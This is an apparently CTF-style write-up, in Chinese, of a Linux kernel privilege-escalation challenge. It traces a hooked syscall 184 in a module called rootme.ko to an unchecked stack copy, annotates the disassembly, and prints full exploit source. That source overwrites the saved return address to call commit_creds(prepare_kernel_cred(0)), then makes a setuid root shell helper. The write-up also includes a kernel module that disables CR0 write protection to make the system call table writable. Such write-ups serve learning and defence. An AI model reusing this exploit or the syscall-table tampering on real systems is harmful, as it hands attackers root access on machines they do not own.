1.加载模块
sudo insmod module
dmesg看到有hook字样,猜测可能是模块劫持了系统调用,或者也可能是增加了系统调用 然后自己写了个程序来遍历系统调用,确认了没有增加系统调用然后自己又写了个模块来遍历sys_call_table和sys_ia32_call_table数组,确认是改动了系统调用.而且系统调用号是184同时/proc/kallsyms中的符号表和sys_call_table[184],看到了new_kbof_test函数,也就是说,syscall(184),会执行到new_kbof_test函数
于是就分析new_kbof_test函数的功能和参数.
2.反汇编rootme.ko,分析函数功能和参数(附件有详细的反汇编报告) objdump -d rootme.ko > 1.txt 反编译代码段readelf -r rootme.ko > 2.txt 读重定位段的信息根据重定位段的信息2.txt和反汇编代码的结果1.txt,分析出了这两个函数的功能.new_kbof_test函数,接收两个参数,第一个是字符串地址,第二个是一个整数类型.从用户空间拷贝字符串到内核空间,然后调用了buffer_overflow_test函数.在buffer_overflow_test函数中,又复制相同的字符串到buffer_overflow_test的栈中,不过这个时候没有检测复制的长度,导致可以覆盖rip,函数返回时就会跳到我们覆盖的rip,利用开始.3.编写exploit计算rip的偏移地址:0x100+8*3 0x100是buffer_overflow_test函数的栈大小,8*3是因为push了三个8字节的寄存器.将rip覆盖成exploit中用户态中kernel_code函数的地址. 编译方法:gcc test.c -o testgcc exp.c -o exp./exp
来张提权成功的截图:
exp.c:
#include#include #include #include #include #include #include #include typedef int __attribute__((regparm(1))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(1))) (* _prepare_kernel_cred)(unsigned long cred); typedef long __attribute__((regparm(2))) (* _sys_chmod) (const char *filename, mode_t mode); typedef long __attribute__((regparm(3))) (*_sys_chown) (const char *filename, uid_t user, gid_t group); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; _sys_chmod sys_chmod; _sys_chown sys_chown; char *filename="/home/kexp/test"; char exp[0x120]={'A'}; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); sys_chown(filename,0,0); sys_chmod(filename,7777); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } void main() { unsigned long *asd=&exp[0x118]; *asd=(unsigned long)kernel_code; commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sys_chmod=(_sys_chmod) get_symbol("sys_chmod"); sys_chown=(_sys_chown) get_symbol("sys_chown"); if(sys_chmod==0||commit_creds==0||prepare_kernel_cred==0) { printf("beiju\n"); } syscall(184,exp,0x120); }
test.c
#include#include #include void main() { setuid(0); system("/bin/sh"); }
Myopen.c:(编译Myopen.c的Makefile在下面)
#include#include #include #include #include #include #define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000)) #define GPF_ENABLE write_cr0(read_cr0() | 0x10000) MODULE_LICENSE("GPL"); MODULE_AUTHOR("Franz Pletz"); MODULE_DESCRIPTION("for teh lulz!"); char *rollfile; void **sys_call_table = (void **)0xffffffff8130e070; /* TODO: change */ module_param(rollfile, charp, 0000); MODULE_PARM_DESC(rollfile, "music trolling file"); module_param(sys_call_table, ulong, 0000); MODULE_PARM_DESC(sys_call_table, "address of the system call table"); void set_addr_rw(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); if(pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; } void set_addr_ro(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); pte->pte = pte->pte &~_PAGE_RW; } static int __init init_rickroll(void) { int i; if(sys_call_table == NULL) { printk(KERN_ERR "Cannot find the system call address\n"); return -1; /* do not load */ } else { printk(KERN_INFO "System call table found @ %lx\n", (unsigned long)sys_call_table); } set_addr_rw((unsigned long)sys_call_table); GPF_DISABLE; for(i=0;i<=298;i++) { printk(KERN_INFO "%d:%x\n",i,sys_call_table[i]); } return 0; } static void __exit exit_rickroll(void) { set_addr_ro((unsigned long)sys_call_table); GPF_ENABLE; } module_init(init_rickroll); module_exit(exit_rickroll);
编译Myopen.c的Makefile:
obj-m+=myopen.oall: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd)
反汇编的结果(用ida看很简单就能看出来,不过当时不清楚ida):
0000000000000071: 71: 41 54 push %r12 73: ba 00 01 00 00 mov $0x100,%edx 78: 41 89 f4 mov %esi,%r12d //%r12 buffer_overflow_test的第二个参数 7b: 31 f6 xor %esi,%esi 7d: 55 push %rbp 7e: 53 push %rbx 7f: 48 89 fb mov %rdi,%rbx //rbx buffer_overflow_test的第一个参数 82: 48 81 ec 00 01 00 00 sub $0x100,%rsp 89: 48 89 e7 mov %rsp,%rdi 8c: e8 00 00 00 00 callq 91 memset(rdi=栈顶,rsi=0,rdx=0x100) 初始化栈 91: 49 63 cc movslq %r12d,%rcx //%r12 移动的字符个数 buffer_overflow_test的第二个参数,没有检查长度,有漏洞 94: 48 89 e7 mov %rsp,%rdi //栈顶 97: 48 89 de mov %rbx,%rsi //%rbx buffer_overflow_test的第一个参数,内存地址,可控内容, 9a: fc cld //增址 9b: f3 a4 rep movsb %ds:(%rsi),%es:(%rdi) 可控的内容=>栈中,这里可以覆盖掉rip 9d: 48 81 c4 00 01 00 00 add $0x100,%rsp a4: 5b pop %rbx a5: 5d pop %rbp a6: 41 5c pop %r12 a8: c3 retq00000000000000a9 : a9: 41 54 push %r12 ab: ba 00 01 00 00 mov $0x100,%edx b0: 49 89 fc mov %rdi,%r12 b3: 55 push %rbp b4: 89 f5 mov %esi,%ebp b6: 31 f6 xor %esi,%esi b8: 53 push %rbx b9: 48 81 ec 00 01 00 00 sub $0x100,%rsp c0: 48 89 e7 mov %rsp,%rdi c3: e8 00 00 00 00 callq c8 memset(rdi=rsp,esi=0,edx=0x100) 刚好栈是0x100,初始化栈为0. c8: 48 63 fd movslq %ebp,%rdi //??? cb: be d0 00 00 00 mov $0xd0,%esi d0: e8 00 00 00 00 callq d5 memset(rdi=(传入的第二个参数 长度),esi=0xd0) 分配内存0xd0 d5: 48 85 c0 test %rax,%rax d8: 48 89 c3 mov %rax,%rbx //kmalloc的返回值,如果成功rdi,不成功返回NULL.. db: 74 14 je f1 dd: 89 ea mov %ebp,%edx df: 4c 89 e6 mov %r12,%rsi e2: 48 89 c7 mov %rax,%rdi e5: e8 00 00 00 00 callq ea copy_from_user (rdi=kmalloc返回值,rsi=传入的第一个参数,edx=传入的第二个参数) // ea: 48 85 c0 test %rax,%rax //copy_from_user 成功返回0,否则就打印失败信息 //?????????确认copy_from_user的工作方式 copy_from_user(to,from.length) ed: 74 1f je 10e ef: eb 09 jmp fa f1: 48 c7 c7 00 00 00 00 mov $0x0,%rdi //.rodata.str1.1 + 2d kmalloc failed f8: eb 07 jmp 101 fa: 48 c7 c7 00 00 00 00 mov $0x0,%rdi //.rodata.str1.1 + 3e copy data from user fail 101: 31 c0 xor %eax,%eax 103: e8 00 00 00 00 callq 108 printk 108: 48 83 c8 ff or $0xffffffffffffffff,%rax 10c: eb 0c jmp 11a 10e: 89 ee mov %ebp,%esi // 110: 48 89 df mov %rbx,%rdi 113: e8 00 00 00 00 callq 118 buffer_over_flow(rdi=kmalloc返回值,rsi=传入的第二个参数) 118: 31 c0 xor %eax,%eax 11a: 48 81 c4 00 01 00 00 add $0x100,%rsp 121: 5b pop %rbx 122: 5d pop %rbp 123: 41 5c pop %r12 125: c3 retq